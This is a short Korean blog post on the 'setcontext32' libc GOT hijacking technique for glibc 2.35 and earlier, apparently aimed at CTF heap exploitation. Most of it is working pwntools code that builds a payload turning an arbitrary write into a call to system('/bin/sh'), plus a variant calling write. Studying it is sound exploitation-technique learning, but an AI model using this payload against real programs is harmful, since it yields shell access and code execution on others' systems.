Tips & theory

Libc GOT Hijacking - glibc <= 2.35

wyv3rn 2025. 6. 6. 08:34
728x90
반응형

서론

개인적으로 조금 충격 받은 기법이다.

 

조건

만일 aaw는 가능하고, 오직 libc address만 알 수 있으며, 프로그램이 종료되지 않는 (while true) 경우일때 쓸 수 있다.

통상적으로 이 경우는 heap 문제가 될 것이며, main_arena address leak 이후 사용하기 좋다.

다만, glibc 2.35까지 사용 가능하다.

 

분석

원 글은 아래와 같다.

setcontext32 - HackMD

 

setcontext32 - HackMD

Once you’ve obtained an arbitrary write primitive, converting it into RCE tends to be a messy process: house this, house that, edge case this, edge case that. I’d just like to specify the function I want to call and its arguments!

hackmd.io

요약하자면 libc got을 setcontext+32에서 작동하는 코드에 맞게 조작하여 overwrite하면 임의 함수를 실행시킬 수 있다.

 

Code

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )


libc = ELF("./libc.so.6")

libc.address = libc_base

dest, payload = setcontext32.setcontext32(
    libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)

print(hex(dest), payload.hex()) #dest = overwrite target address, payload = payload

 

Appendix

아래와 같이 조작하면 write 함수를 call 할 수도 있다.

dest, payload = setcontext32(
    libc, rip=libc.sym["write"] + 16, rdi = 1,  rsi=libc.search(b"/bin/sh").__next__(), rdx=100
)

여기서 write + 16은 아래와 같다.

pwndbg> disas write
Dump of assembler code for function write:
   0x00007f9582b71870 <+0>:     endbr64
   0x00007f9582b71874 <+4>:     mov    %fs:0x18,%eax
   0x00007f9582b7187c <+12>:    test   %eax,%eax
   0x00007f9582b7187e <+14>:    jne    0x7f9582b71890 <write+32>
   0x00007f9582b71880 <+16>:    mov    $0x1,%eax
   0x00007f9582b71885 <+21>:    syscall
728x90
반응형